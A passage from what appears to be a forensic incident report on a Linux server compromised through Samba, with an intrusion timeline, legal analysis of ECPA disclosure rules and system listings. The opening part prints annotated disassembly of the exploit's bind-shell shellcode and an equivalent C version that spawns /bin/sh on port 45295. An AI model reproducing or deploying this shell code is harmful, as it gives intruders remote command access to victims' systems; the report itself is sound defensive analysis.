0x8049440 <buf+64>:     je     0x8049447 <buf+71>
0x8049442 <buf+66>:     xor    %eax,%eax
0x8049444 <buf+68>:     inc    %eax
0x8049445 <buf+69>:     int    $0x80
```

If the system wasn't able to bind the specified address and port to the socket, it ends execution of the process, and the process gets cleaned up. A bind could fail if, for example, another process were using the same port.

```
0x8049447 <buf+71>:     xor    %eax,%eax
0x8049449 <buf+73>:     push   %eax
0x804944a <buf+74>:     push   %edx
0x804944b <buf+75>:     mov    %esp,%ecx
0x804944d <buf+77>:     mov    $0x4,%bl
0x804944f <buf+79>:     mov    $0x66,%al
0x8049451 <buf+81>:     int    $0x80
```

Next, the system is instructed to listen on this port for connections.

```
0x8049453 <buf+83>:     mov    %edx,%edi
0x8049455 <buf+85>:     xor    %eax,%eax
0x8049457 <buf+87>:     xor    %ebx,%ebx
0x8049459 <buf+89>:     xor    %ecx,%ecx
0x804945b <buf+91>:     mov    $0x11,%bl
0x804945d <buf+93>:     mov    $0x1,%cl
0x804945f <buf+95>:     mov    $0x30,%al
0x8049461 <buf+97>:     int    $0x80
```

When a process uses the fork function to start a "child" process, the first process, the "parent", is later notified by a signal when the child process finishes. These instructions tell this process to ignore any signals about child processes. By explicitly telling the system that the program wants to ignore this notification, the system will automatically clean up a child process when it completes. If the system didn't do this clean up, then if used "ps" to get a process listing, we would see the child processes listed as "<zombie>" since no parent process is cleaning them up. This might draw some attention by the system administrator, making it harder for a hacker to hide.

```
0x8049463 <buf+99>:     xor    %eax,%eax
0x8049465 <buf+101>:    xor    %ebx,%ebx
0x8049467 <buf+103>:    push   %eax
0x8049468 <buf+104>:    push   %eax
0x8049469 <buf+105>:    push   %edi
0x804946a <buf+106>:    mov    %esp,%ecx
0x804946c <buf+108>:    mov    $0x5,%bl
0x804946e <buf+110>:    mov    $0x66,%al
0x8049470 <buf+112>:    int    $0x80
```

Here, the code starts a loop where it first accepts a connection from a remote computer.

```
0x8049472 <buf+114>:    mov    %eax,%esi
0x8049474 <buf+116>:    xor    %eax,%eax
0x8049476 <buf+118>:    xor    %ebx,%ebx
0x8049478 <buf+120>:    mov    $0x2,%al
```

```
0x804947a <buf+122>:    int    $0x80
```

The process then uses the fork system call to start a child process.

```
0x804947c <buf+124>:    cmp    %eax,%ebx
```

The instructions are now executed by both the parent and the child process since they are copies of each other. This previous instruction is used to determine whether the process is the parent or the child.

```
0x804947e <buf+126>:    jne    0x80494c0 <buf+192>
0x8049480 <buf+128>:    xor    %eax,%eax
0x8049482 <buf+130>:    mov    %edi,%ebx
0x8049484 <buf+132>:    mov    $0x6,%al
0x8049486 <buf+134>:    int    $0x80
```

If the process is the child, it closes the listening socket since it has no use for it.

```
0x8049488 <buf+136>:    xor    %eax,%eax
0x804948a <buf+138>:    xor    %ecx,%ecx
0x804948c <buf+140>:    mov    %esi,%ebx
0x804948e <buf+142>:    mov    $0x3f,%al
0x8049490 <buf+144>:    int    $0x80
```

The child process then sets the standard input to the process to be received from the new connection.

```
0x8049492 <buf+146>:    xor    %eax,%eax
0x8049494 <buf+148>:    inc    %ecx
0x8049495 <buf+149>:    mov    $0x3f,%al
0x8049497 <buf+151>:    int    $0x80
```

It also sets the standard output from the process to go to the new connection.

```
0x8049499 <buf+153>:    xor    %eax,%eax
0x804949b <buf+155>:    inc    %ecx
0x804949c <buf+156>:    mov    $0x3f,%al
0x804949e <buf+158>:    int    $0x80
```

After that, it sets the standard error output from the process to go to the new connection.

```
0x80494a0 <buf+160>:    xor    %eax,%eax
0x80494a2 <buf+162>:    push   %eax
0x80494a3 <buf+163>:    push   $0x68732f2f
0x80494a8 <buf+168>:    push   $0x6e69622f
0x80494ad <buf+173>:    mov    %esp,%ebx
```

```
0x80494af <buf+175>:    mov    0x8(%esp,1),%edx
0x80494b3 <buf+179>:    push   %eax
0x80494b4 <buf+180>:    push   %ebx
0x80494b5 <buf+181>:    mov    %esp,%ecx
0x80494b7 <buf+183>:    mov    $0xb,%al
0x80494b9 <buf+185>:    int    $0x80
```

The child process then starts a command shell by executing "/bin//sh". Note the typographical error of the double-slash here, but this doesn't cause any harm. The command shell is now the child process. When the shell exits, that process will be cleaned up by the system.

```
0x80494bb <buf+187>:    xor    %eax,%eax
0x80494bd <buf+189>:    inc    %eax
0x80494be <buf+190>:    int    $0x80
```

If for some reason the child process wasn't able to start a shell, the process ends and is cleaned up by the system.

```
0x80494c0 <buf+192>:    xor    %eax,%eax
0x80494c2 <buf+194>:    mov    %esi,%ebx
0x80494c4 <buf+196>:    mov    $0x6,%al
0x80494c6 <buf+198>:    int    $0x80
```

We just saw the actions of the child process. If the test above to determine whether the current process is the parent or the child shows that it is the parent, it starts by closing the newly accepted connection. It has no need for the connection since the child process is handling it concurrently.

```
0x80494c8 <buf+200>:    jmp    0x8049463 <buf+99>
```

The parent process then jumps back to the start of the loop where it accepts a new connection.

The execution of the above assembly language code is equivalent to the execution of following C code, which is shown here for easier interpretation by programmers of higher level languages.

```
{
  int fd, connfd;
  pid_t pid;
  struct sockaddr_in sa;

  fd = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  sa.sin_family = AF_INET;
  sa.sin_port = htons( 45295 );
  sa.sin_addr.s_addr = INADDR_ANY;
  ret = bind( fd, (struct sockaddr *)&sa, 16 );
  if( ret != 0 ){
    exit();
  }
```

```
  listen( fd, 0 );
  signal( SIGCHLD, SIG_IGN );
  while(1){
    connfd = accept( fd, sockaddr_in, slen );
    pid = fork();
    if( pid == 0 ){ /* child */
      close( fd );
      dup2( connfd, 0 );
      dup2( connfd, 1 );
      dup2( connfd, 2 );
      execve( "/bin//sh", NULL, NULL );
      exit();
    }
    close( connfd );
  }
}
```

The exploit hijacks the samba server and opens a port listening on port 45295. It then accepts a connection and spawns a shell, which has that connection as its input and output. This code is looped through such that the hacker can connect over and over. This allows the hacker to issue commands to the server. This is the most likely way the hacker used to gain a foothold in the system in order to execute subsequent programs.

This may be an exploit of the vulnerability in note #298233 "Samba contains buffer overflow in SMB/CIFS packet fragment reassembly code" put out by the Computer Emergency Response Team (CERT) at Carnegie Mellon University. The announcement says that the vulnerability was doscovered to affect Samba versions 2.0.x through 2.2.7a.

We can use strings on the smbd program to find out its version.

```
gizmo% strings /usr/sbin/smbd
2.2.1a
Version %s
```

It appears that this version of Samba is 2.2.1a. This falls in the above range of versions known to be affected by the vulnerability. The vulnerability was published on March 17th, 2003. The proximity in time to this attack makes it possible and likely that this was the vulnerability exploited by the hacker.

Timeline Summary

After analyzing this timeline, we can summarize the actions on the system related to this event on June 28th, 2003.

05:58:27 The Samba server smbd starts logging errors.
05:58:28 Samba creates an error log file for a user named "buddha" as a hacker exploits smbd to listen on TCP port 45295 for connections, for which it then spawns command shells.
06:01:02 An intruder has gets a command shell via TCP port 45295 and

executes some user-level commands.

06:26:07 Samba logs connections from the IP address 10.11.12.197.
06:26:31 The intruder uses ftp to transfer a rootkit, called "swat", to the system.
06:28:40 The intruder unpacks the rootkit from a compresses archive file.
06:28:47 The intruder uses the "install" script to start the rootkit installation.
06:28:54 The installation script replaces four system programs (ps, ls, top, and netstat) with trojan versions.
06:28:55 The installation script installs a trojan ssh server and starts it on TCP port 10007.
06:29:56 The installation script compiles a sniffer program and installs it.
06:29:06 The installation script starts the sniffer to monitor the network for passwords.
06:29:07 The installation runs a script called "sysinfo" to start to gather information about the system.
06:29:23 The sysinfo script finishes gathering information.
06:29:31 The installation script mails the gathered information to two email accounts: 3rdparty@3rdparty.org and swatplecat@somelargeisp.com.
06:29:32 The installation script removes log files and restarts the log server to start new logs.
06:29:37 The rootkit installation completes and removes the rootkit installation package from the system.
06:29:40 A message to 3rdparty@3rdparty.org bounces back due to a full mailbox.
06:29:48 A second message to 3rdparty@3rdparty.org bounces back due to a full mailbox.
06:30:09 There is a successful login to the trojan ssh server from the IP address 10.20.30.71.
06:30:38 A file called /usr/lib/libshlog is created and logs the username, password, and IP address for this connection.
06:30:38 The connection to the trojan ssh server from the IP address 10.20.30.71 closes.
06:36:24 The intruder uses the kerberos version of ftp to transfer to the system a package containing the IRC bot EnergyMech.
06:36:51 He unpacks the EnergyMech package.
06:45:22 The password sniffer is restarted.
07:00:51 The EnergyMech bot is started, and it attempts to connect to IRC servers, including the one at 172.17.50.250.

12:54:05 I log in to the system as root in order to start my investigation.
12:58:49 I install two programs, named memget and procget, to gather forensic information from the system.
12:59:27 I run procget and collect the data from the proc filesystem.
13:02:20 I run memget and collect the data in memory from the system.
13:05:18 I use the "nc" command to retrieve the contents of the swap partition on hda3.
13:09:09 Shortly after this time, I remove the power from the system.

Twenty five minutes go by between the time the first commands are run on the system after the exploit occurs and an intruder connects and starts transferring a rootkit to the system. We don't have enough data to tell exactly why this is, but we could draw a couple of assumptions. The first could be that the hacker has an automatic script that looks for computers on the Internet that can be broken into. Sometime after the script reports the list of computers to the hacker, the hacker connects manually to install certain programs. A second assumption could be that there were two different hackers involved. The first one looked for vulnerable servers, and after he communicated his found knowledge to the second hacker, the second one then manually connected in order to install certain programs. Once the hacker connected after the time gap, it only took him about four minutes to gather information about the system and install the rootkit. At that point, the hacker didn't appear to be in much of a hurry. After five minutes passed, he installed an IRC bot. Eight minutes after that, he restarted the password sniffer, and 15 minutes later, he started the IRC bot. We could assume that the hacker had other tasks occupying his time.

There are two IP addresses that we saw that we can gather more information on. The first is 10.11.12.197. I used the whois command and queried the whois.apnic.net whois server for information about the address. The address came back owned by the Taiwan Government Service Network in Taipei, Taiwan. I find it unlikely that the Taiwan government is hacking random computers on the Internet. I find it more likely that a hacker broke into a computer in Taiwan and is using it as a computer to connect through in order to hide his location.

The second address is 10.20.30.71. I used the whois command again and this time queried the whois server at whois.ripe.net. It showed that this address is owned by a telecommunications company in Bucharest, Romania. The address is used by an ISP, with a web site at www.someisp.ro. This ISP used to be called otherisp.ro.

The other domain which we found that is interesting is "3rdparty.org". This domain is registered in Australia and provided through Somelargeisp in California to a person in Stone Mountain, Georgia, US. I can't find any connection between this address and the hacker other than the references to somelargeisp.com we found. Therefore, I can't come to a conclusion as to whether the owner is a cohort or a victim of the hacker.

Conclusions

The intruder is located in Romania. I conclude this because one of the addresses of the machine that connected to this server was in Romania, and the text of many of the files was in a language that I found to be Romanian. Using a time zone map from <http://aa.usno.navy.mil/faq/docs/world_tzones.html?hw_partner_id=36>, I determined that the time in Romania is seven hours later than here in Boston. That means that the intrusion started at around 1:00 on Saturday afternoon, June 28th.

Part 3 - Legal Issues of Incident Handling

Occasionally, the system administrator or a security administrator of an Internet Service Provider (ISP) may receive a call from law enforcement regarding an incident that may have taken place originating from the administrator's computer systems. There are laws in place which limit the amount of information that the administrator can give to the law enforcement officer without certain exceptions or legal process. One important law in this situation is the ECPA (Electronic Communications Privacy Act of 1986). We'll examine the laws with respect to the hypothetical situation of a customer of the ISP breaking into a server belonging to the government, as covered by the law of the United States and the Commonwealth of Massachusetts.

Because the ISP is a public provider according to 18 USC 2702(c),

§ 2702. Disclosure of Contents

(a) Prohibitions.--Except as provided in subsection (b)--

(1) a person or entity providing an electronic communication service to the public shall not knowingly divulge to any person or entity the contents of a communication while in electronic storage by that service; and

(2) a person or entity providing remote computing service to the public shall not knowingly divulge to any person or entity the contents of any communication which is carried or maintained on that service--

(A) on behalf of, and received by means of electronic transmission from (or created by means of computer processing of communications received by means of electronic transmission from), a subscriber or customer of such service; and

(B) solely for the purpose of providing storage or computer processing services to such subscriber or customer, if the provider is not authorized to access the contents of any such communications for purposes of providing any services other than storage or computer processing; and

(3) a provider of remote computing service or electronic communication service to the public shall not knowingly divulge a record or other information pertaining to a subscriber to or customer of such service (not including the contents of communications covered by paragraph (1) or (2)) to any governmental entity.

(b) Exceptions for disclosure of customer records. A provider described in subsection (a) may divulge a record or other information pertaining to a subscriber to or customer of such service (not including the contents of communications covered by subsection (a)(1) or (a)(2))--

(1) as otherwise authorized in section 2703;

(2) with the lawful consent of the customer or subscriber;

(3) as may be necessarily incident to the rendition of the service or to the protection of the rights property of the provider of that service;
(4) to a governmental entity, if the provider reasonably believes that an emergency involving danger of death or serious physical injury to any person justifies disclosure of the information; or
(5) to any person other than a governmental entity.

When an officer calls, because the officer is part of a government entity (18 USC 2702(c)(5)), the administrator can't give him any information except with certain exceptions. (18 USC 2702(c)(2)) states "with the lawful consent of the customer or subscriber". Therefore, there might be consent, authorized by a possible "user agreement" entered into by the customer and the ISP when the customer opened their account or by a banner displayed when a customer accesses the service. Exceptions (3) and (4) allow the provider to disclose customer records that "may be necessary incident to the rendition of the service or to the protection of the rights or property of the provider or service" and "to a governmental entity, if the provider reasonably believes that an emergency involving immediate danger of death or serious physical injury to any person". These two are important exceptions, but they probably don't cover the past case of a customer breaking into a goverment computer. That leaves us with "as otherwise authorized in section 2703".

18 USC 2703 provides different requirements for access to different kinds of information by a government entity. We want to figure out where our system logs that show who was accessing the service at the time of the attack on the government server.

There are three levels of information that can be requested. The first level is "Basic subscriber information". This was written to include things like the customer's name, address, billing information, and start date of service. The second level is "a record or other information pertaining to a subscriber to or customer of such service (not including the contents of communications)" (18 USC 2703(c)(1)). And the third level includes the contents of communications. The PATRIOT Act modified this slightly, and now "basic subscriber information" includes the following list:

18 USC 2703(c)(2)
(A) name;
(B) address;
(C) local and long distance telephone connection records, or records of session times and durations;
(D) length of service (including start date) and types of service utilized;
(E) telephone or instrument number or other subscriber number or identity, including any temporarily assigned network address; and
(F) means and source of payment for such service (including any credit card or bank account number),

This list includes two important phrases: "records of session times and durations" and "any temporarily assigned network address". These two pieces of information may be enough to tie a subscriber to the attack on the government computer. To request this information, the officer needs to provide "administrative subpoena authorized by a Federal or State statute or a Federal or State grand jury or trial subpoena" (18 USC 2703(c)(2)(F)) or any greater means.

To request any other records other than content that may be available, the officer needs to provide a court order pursuant to 18 USC 2703(d), which says it's required that the officer "offers specific and articulable facts showing that there are reasonable grounds to believe that the contents of a wire or electronic communication, or the records or other information sought, are relevant and material to an ongoing criminal investigation."

So depending on what data in our logs we're providing, the officer may be required to present a subpoena or a 2703(d) court order. According to 18 USC 2703(b)(1)(A) and 2703(c)(1)(A), a warrant, which requires a greater burden on the government entity, will also allow the disclosure of basic subscriber information or other records, and it will also allow the disclosure of contents of electronic communications, such as e-mail, according to 2703(a).

The preceeding allows the officer to compel the requested information, and 18 USC 2703(3) allows us to give it to him without penalty. "No cause of action shall lie in any court against any provider of wire or electronic communication service, its officers, employees, agents, or other specified persons for providing information, facilities, or assistance in accordance with the terms of a court order, warrant, subpoena, or certification under this chapter."

Two examples of cases showing this process in action are (Raytheon Co. v. John Does 1-21, Civil Action No. 99-816 (Mass. Sup. Ct., Middlesex County, filed February 1st, 1999)) and (U.S. v. Maxwell, 45 M.J. 406 (C.A.A.F. 1996).) In the first, a subpoena was required to get the names of users from Somelargeisp, an electronic communications service. In the second, a warrant was required to get email.

While the officer is obtaining the legal process for compelling the disclosure of the records in our logs, especially if there may be some delay involved, he may request that we preserve the evidence for 90 days, according to 18 USC 2703(f)(2). At the end of that 90 days, the government entity may request a renewal for an additional 90 days. According to this paragraph, we are required to "take all necessary steps to preserve records and other evidence in its possession pending the issuance of a court order or other process." And we are covered from criminal and civil liability by 18 USC 2707(e)(1), which was amended by the PATRIOT Act to include this type of request.

Outside of the legal investigation being conducted by the law enforcement officer, we should be wary that an attack was launched from our system. Because we have a potential hacker on our system, whether he is a customer of ours or not, we'll want to perform a technical investigation on our own systems to assess whether we've been a victim of hacking. This wouldn't include any customer or other personal files; we would want to look at system files for any tampering or other evidence of a user operating beyond their rights on the

system. Depending on what we find, we might need to use the "provider exception" afforded by 18 USC 2511 (2)(a)(i) to view network traffic or personal files "while engaged in any activity which is a necessary incident to the rendition of his service or to the protection of the rights or property of the provider of that service". One law we need to be aware of when monitoring a hacker's activity outside the color of law is the Massachusetts Wiretap Law. According to MGL Chapter 272, Section 99 (B)(4), a person must be given "prior authority by all parties to such communication". This means that we're not able to monitor a hacker's communications with another party. Although the hacker has no right to privacy, the party with which he is communicating does. We may then want to disclose this evidence to the officer to include in his investigation.

Now let's look at the slightly different example where we find from our logs that a hacker has gained unauthorized access to our system, created an account for himself, and used that account to hack into the government system.

According to the ECPA (18 USC 2702(a)), paragraph (a)(1) protects all "contents of a communication while in electronic storage", but it doesn't protect anything else where the information doesn't pertain to a customer or subscriber. "Electronic storage" is defined in 18 USC 2510 (17) as:

(A) any temporary, intermediate storage of a wire or electronic communication incidental to the electronic thereof; and
(B) any storage of such communication by an electronic communication service for purposes of backup protection of communication;

and is relevant to this chapter by 18 USC 2711:
As used in this chapter [18 USCS §§ 2701 et seq.]--
(1) the terms defined in section 2510 of this title have, respectively, the definitions given such terms in that section;

In addition, the following definition was added by the PATRIOT Act:

18 USC 2510
(21) "computer trespasser"--
(A) means a person who accesses a protected computer without authorization and thus has no reasonable of privacy in any communication transmitted to, through, or from the protected computer; and
(B) does not include a person known by the owner or operator of the protected computer to have an contractual relationship with the owner or operator of the protected computer for access to all or of the protected computer.

18 USC 2511 (2)
(i) It shall not be unlawful under this chapter [18 USCS §§ 2510 et seq.] for a person acting under color law to intercept the wire or electronic communications of a computer trespasser transmitted to, through, or from the protected computer, if--

(I) the owner or operator of the protected computer authorizes the interception of the computer communications on the protected computer;
(II) the person acting under color of law is lawfully engaged in an investigation;
(III) the person acting under color of law has reasonable grounds to believe that the contents of the computer trespasser's communications will be relevant to the investigation; and
(IV) such interception does not acquire communications other than those transmitted to or from the computer trespasser.

The ECPA would only protect the hacker's unread email, but these additions eliminate that protection. So in the case of a hacker on our system, we could voluntarily provide the law enforcement officer with any data related only to the hacker without legal process. In addition, the PATRIOT Act amended the ECPA and the Wiretap Act allows us to assist the law enforcement officer in intercepting all wire communications of the hacker. So given this, we can voluntarily provide an officer who's conducting an investigation any information about the hacker we have, as long as this information doesn't infringe upon the rights of customers.

Appendices

Appendix A - Output of "rpm -Va"

```
unsafe# rpm -Va
S.5....T c /etc/printcap
S.5.....   /bin/netstat
S.5....T c /etc/crontab
S.5....T c /etc/syslog.conf
.M....G.   /dev/tty2
.M....G.   /dev/tty3
.M....G.   /dev/tty4
.M....G.   /dev/tty5
.M....G.   /dev/tty6
S.5....T c /etc/openldap/ldap.conf
missing    /usr/X11R6/lib/X11/fonts/75dpi/encodings.dir
.M.....T   /usr/share/icons/locolor/16x16/apps/ktimemon.png
.M.....T   /usr/share/icons/locolor/32x32/apps/ktimemon.png
.......T c /etc/yp.conf
S.5....T c /etc/httpd/conf/httpd.conf
S.5....T c /var/www/html/index.html
missing    /var/cache/ssl_gcache_data.dir
missing    /var/cache/ssl_gcache_data.pag
missing    /var/cache/ssl_gcache_data.sem
S.5....T c /etc/xinetd.d/tftp
.M......   /proc
S.5.....   /bin/ls
.......T c /etc/krb5.conf
S.5....T c /etc/aliases
S.5....T c /etc/mail/statistics
S.5....T c /etc/sendmail.cf
S.5....T   /boot/kernel.h-2.4.7
missing    /usr/X11R6/lib/X11/fonts/100dpi/encodings.dir
S.5....T c /etc/krb.conf
S.5....T c /etc/xinetd.d/finger
S.5....T c /etc/xinetd.d/ntalk
S.5....T c /etc/xinetd.d/talk
S.5....T c /etc/xinetd.d/wu-ftpd
S.5..... c /etc/rndc.conf
S.5..... c /etc/rndc.key
S.5....T c /etc/xinetd.d/amanda
S.5....T c /etc/xinetd.d/imap
S.5....T c /etc/xinetd.d/imaps
S.5....T c /etc/xinetd.d/ipop2
S.5....T c /etc/xinetd.d/ipop3
S.5....T c /etc/xinetd.d/pop3s
..5....T c /etc/mime.types
.M...... g /var/spool/at/.SEQ
SM5.....   /bin/ps
SM5.....   /usr/bin/top
S.5....T c /etc/pam.d/system-auth
.......T c /etc/inittab
S.5....T c /etc/rc.d/init.d/functions
S.5....T c /usr/share/a2ps/afm/fonts.map
..5....T   /var/lib/wnn/ja/dic/gerodic/g-jinmei.dic
..5....T   /var/lib/wnn/ja/dic/pubdic/bio.dic
..5....T   /var/lib/wnn/ja/dic/pubdic/chimei.dic
```

```
..5....T   /var/lib/wnn/ja/dic/pubdic/computer.dic
..5....T   /var/lib/wnn/ja/dic/pubdic/full.fzk
..5....T   /var/lib/wnn/ja/dic/pubdic/jinmei.dic
..5....T   /var/lib/wnn/ja/dic/pubdic/kihon.dic
..5....T   /var/lib/wnn/ja/dic/pubdic/kougo.fzk
..5....T   /var/lib/wnn/ja/dic/pubdic/koyuu.dic
..5....T   /var/lib/wnn/ja/dic/pubdic/setsuji.dic
..5....T   /var/lib/wnn/ja/dic/pubdic/special.dic
..5....T   /var/lib/wnn/ja/dic/pubdic/std.fzk
..5....T   /var/lib/wnn/ja/dic/pubdic/symbol.dic
..5....T   /var/lib/wnn/ja/dic/pubdic/tankan.dic
S.5....T   /usr/share/AbiSuite/fonts/fonts.dir
.......T
/usr/share/apps/kfind/icons/locolor/22x22/actions/archive.png
.......T   /usr/share/apps/kfind/icons/locolor/22x22/actions/delete.png
.......T   /usr/share/apps/kfind/icons/locolor/22x22/actions/idea.png
.......T   /usr/share/apps/kfind/icons/locolor/22x22/actions/info.png
.......T
/usr/share/apps/kfind/icons/locolor/22x22/actions/openfile.png
.......T   /usr/share/apps/kfind/icons/locolor/22x22/actions/save.png
.......T   /usr/share/apps/kfind/icons/locolor/22x22/actions/search.png
.......T c /var/lib/nfs/etab
.......T c /var/lib/nfs/xtab
S.5....T c /etc/ldap.conf
S.5....T c /etc/xinetd.d/telnet
.M......   /usr/bin/filter
S.5....T c /etc/php.ini
S.5....T   /etc/xinetd.d/rsync
missing    /var/log/mars_nwe.log
missing    /var/run/mars_nwe.routes
```

Appendix B - Files with SUID or GUID Bits

```
[mike@gizmo linux]# find . -perm +06000 | xargs ls -ld
-rwsr-xr-x    1 root     root        57628 Jul 24  2001 ./bin/mount
-rwsr-xr-x    1 root     root        23436 Aug 27  2001 ./bin/ping
-rwsr-xr-x    1 root     root        18452 Jul 23  2001 ./bin/su
-rwsr-xr-x    1 root     root        28380 Jul 24  2001 ./bin/umount
-rwxr-sr-x    1 root     root         4120 Sep  9  2001
./sbin/netreport
-r-sr-xr-x    1 root     root        15088 Sep 24  2001
./sbin/pwdb_chkpwd
-r-sr-xr-x    1 root     root        15672 Sep 24  2001
./sbin/unix_chkpwd
-rwsr-xr-x    1 root     root        37580 Aug  2  2001 ./usr/bin/at
-rwsr-xr-x    1 root     root        34476 Aug 27  2001 ./usr/bin/chage
-rws--x--x    1 root     root        13136 Aug 26  2001 ./usr/bin/chfn
-rws--x--x    1 root     root        12484 Aug 26  2001 ./usr/bin/chsh
-rwsr-xr-x    1 root     root        21280 Jun 24  2001
./usr/bin/crontab
-r-xr-s--x    1 root     games       40076 Aug 14  2001
./usr/bin/gataxx
-r-xr-s--x    1 root     games       26636 Aug 14  2001
./usr/bin/glines
-r-xr-s--x    1 root     games       68812 Aug 14  2001
./usr/bin/gnibbles
-r-xr-s--x    1 root     games       75100 Aug 14  2001
./usr/bin/gnobots2
-r-xr-s--x    1 root     games       52024 Aug 14  2001
./usr/bin/gnome-stones
-r-xr-s--x    1 root     games       72160 Aug 14  2001
./usr/bin/gnomine
-r-xr-s--x    1 root     games       25772 Aug 14  2001
./usr/bin/gnotravex
-r-xr-s--x    1 root     games       23128 Aug 14  2001
./usr/bin/gnotski
-rwsr-xr-x    1 root     root        36208 Aug 27  2001
./usr/bin/gpasswd
-r-xr-s--x    1 root     games      234684 Aug 14  2001 ./usr/bin/gtali
-r-xr-s--x    1 root     games       47612 Aug 14  2001 ./usr/bin/iagno
-r-sr-x---    1 root     news        29116 Jul 24  2001
./usr/bin/innstart
-rwsr-xr-x    1 root     root         7180 Sep  8  2001
./usr/bin/kcheckpass
-rwxr-sr-x    1 root     root        54752 Sep  8  2001
./usr/bin/kdesud
-rwxr-sr-x    1 root     mail        12500 Jun 30  2001
./usr/bin/lockfile
-r-xr-s--x    1 root     games       45260 Aug 14  2001
./usr/bin/mahjongg
-rws--x--x    1 root     root         5456 Aug 26  2001
./usr/bin/newgrp
-r-s--x--x    1 root     root        13476 Aug  7  2001
./usr/bin/passwd
-rwsr-xr-x    1 root     root        14588 Jul 24  2001 ./usr/bin/rcp
```

```
-rwsr-xr-x    1 root     root        10940 Jul 24  2001
./usr/bin/rlogin
-r-sr-x---    1 uucp     news        53817 Jul 24  2001 ./usr/bin/rnews
-rwsr-xr-x    1 root     root         7932 Jul 24  2001 ./usr/bin/rsh
-r-xr-s--x    1 root     games       21020 Aug 14  2001 ./usr/bin/same-
gnome
-rwxr-sr-x    1 root     slocate     25020 Jun 25  2001
./usr/bin/slocate
-rwxr-s---    1 root     news        59356 Jul 23  2001
./usr/bin/slrnpull
-rws--x--x    2 root     root       785372 Aug  9  2001
./usr/bin/sperl5.6.0
-rwsr-xr-x    1 root     root       209948 Sep  6  2001 ./usr/bin/ssh
-r-sr-x---    1 root     news        25436 Jul 24  2001
./usr/bin/startinnfeed
---s--x--x    1 root     root        80764 Jul 23  2001 ./usr/bin/sudo
-rws--x--x    2 root     root       785372 Aug  9  2001
./usr/bin/suidperl
-r-xr-sr-x    1 root     tty          6444 Aug 28  2001 ./usr/bin/wall
-rwxr-sr-x    1 root     tty          8744 Aug 26  2001 ./usr/bin/write
-rwsr-x---    1 root     disk         8120 Jul 13  2001
./usr/lib/amanda/calcsize
-rwsr-x---    1 root     disk        27448 Jul 13  2001
./usr/lib/amanda/dumper
-rwsr-x---    1 root     disk         6152 Jul 13  2001
./usr/lib/amanda/killpgrp
-rwsr-x---    1 root     disk        26960 Jul 13  2001
./usr/lib/amanda/planner
-rwsr-x---    1 root     disk         4452 Jul 13  2001
./usr/lib/amanda/rundump
-rwsr-x---    1 root     disk         5372 Jul 13  2001
./usr/lib/amanda/runtar
-rwsr-x---    1 root     disk        26772 Jul 13  2001
./usr/sbin/amcheck
-rwxr-sr-x    1 root     utmp         9164 Aug 27  2001
./usr/sbin/gnome-pty-helper
-rwxr-sr-x    1 root     lock         8332 Sep  4  2001
./usr/sbin/lockdev
-rwsr-xr-x    1 root     root        18444 Aug 27  2001
./usr/sbin/ping6
-r-sr-xr-x    1 root     root       451076 Aug 31  2001
./usr/sbin/sendmail
-r-s--x---    1 root     apache      11244 Sep  5  2001
./usr/sbin/suexec
-rwsr-xr-x    1 root     root        20120 Jun 25  2001
./usr/sbin/traceroute
-rwsr-xr-x    1 root     root         9804 Aug 27  2001
./usr/sbin/traceroute6
-rws--x--x    1 root     root        20732 Aug 28  2001
./usr/sbin/userhelper
-rwsr-xr-x    1 root     root         6340 Sep  9  2001
./usr/sbin/usernetctl
-rwxr-sr-x    1 root     utmp         6604 Jun 24  2001
./usr/sbin/utempter
-rwxr-sr-x    1 root     mailman      6620 Jul 25  2001
./var/mailman/bin/add_members
```

```
-rwxr-sr-x    1 root     mailman      3838 Jul 25  2001
./var/mailman/bin/arch
-rwxr-sr-x    1 root     mailman      2462 Jul 25  2001
./var/mailman/bin/check_db
-rwxr-sr-x    1 root     mailman      8964 Jul 25  2001
./var/mailman/bin/check_perms
-rwxr-sr-x    1 root     mailman      7123 Jul 25  2001
./var/mailman/bin/clone_member
-rwxr-sr-x    1 root     mailman      8090 Jul 25  2001
./var/mailman/bin/config_list
-rwxr-sr-x    1 root     mailman      4474 Jul 25  2001
./var/mailman/bin/digest_arch
-rwxr-sr-x    1 root     mailman      1282 Jul 25  2001
./var/mailman/bin/dumpdb
-rwxr-sr-x    1 root     mailman      4915 Jul 25  2001
./var/mailman/bin/find_member
-rwxr-sr-x    1 root     mailman      2957 Jul 25  2001
./var/mailman/bin/list_lists
-rwxr-sr-x    1 root     mailman      3519 Jul 25  2001
./var/mailman/bin/list_members
-rwxr-sr-x    1 root     mailman      2386 Jul 25  2001
./var/mailman/bin/mmsitepass
-rwxr-sr-x    1 root     mailman      2440 Jul 25  2001
./var/mailman/bin/move_list
-rwxr-sr-x    1 root     mailman      6983 Jul 25  2001
./var/mailman/bin/newlist
-rwxr-sr-x    1 root     mailman      1530 Jul 25  2001
./var/mailman/bin/paths.py
-rwxr-sr-x    1 root     mailman      3051 Jul 25  2001
./var/mailman/bin/remove_members
-rwxr-sr-x    1 root     mailman      2952 Jul 25  2001
./var/mailman/bin/rmlist
-rwxr-sr-x    1 root     mailman      8234 Jul 25  2001
./var/mailman/bin/sync_members
-rwxr-sr-x    1 root     mailman     12809 Jul 25  2001
./var/mailman/bin/update
-rwxr-sr-x    1 root     mailman       925 Jul 25  2001
./var/mailman/bin/version
-rwxr-sr-x    1 root     mailman      6245 Jul 25  2001
./var/mailman/bin/withlist
-rwxr-sr-x    1 root     mailman     38620 Jul 25  2001
./var/mailman/cgi-bin/admin
-rwxr-sr-x    1 root     mailman     38624 Jul 25  2001
./var/mailman/cgi-bin/admindb
-rwxr-sr-x    1 root     mailman     38640 Jul 25  2001
./var/mailman/cgi-bin/archives
-rwxr-sr-x    1 root     mailman     38640 Jul 25  2001
./var/mailman/cgi-bin/edithtml
-rwxr-sr-x    1 root     mailman     38648 Jul 25  2001
./var/mailman/cgi-bin/handle_opts
-rwxr-sr-x    1 root     mailman     38640 Jul 25  2001
./var/mailman/cgi-bin/listinfo
-rwxr-sr-x    1 root     mailman     38624 Jul 25  2001
./var/mailman/cgi-bin/options
-rwxr-sr-x    1 root     mailman     38624 Jul 25  2001
./var/mailman/cgi-bin/private
```

```
-rwxr-sr-x    1 root     mailman     38620 Jul 25  2001
./var/mailman/cgi-bin/roster
-rwxr-sr-x    1 root     mailman     38644 Jul 25  2001
./var/mailman/cgi-bin/subscribe
-rwxr-sr-x    1 root     mailman      2279 Jul 25  2001
./var/mailman/cron/bumpdigests
-rwxr-sr-x    1 root     mailman      3141 Jul 25  2001
./var/mailman/cron/checkdbs
-rwxr-sr-x    1 root     mailman      1028 Jul 25  2001
./var/mailman/cron/crontab.in
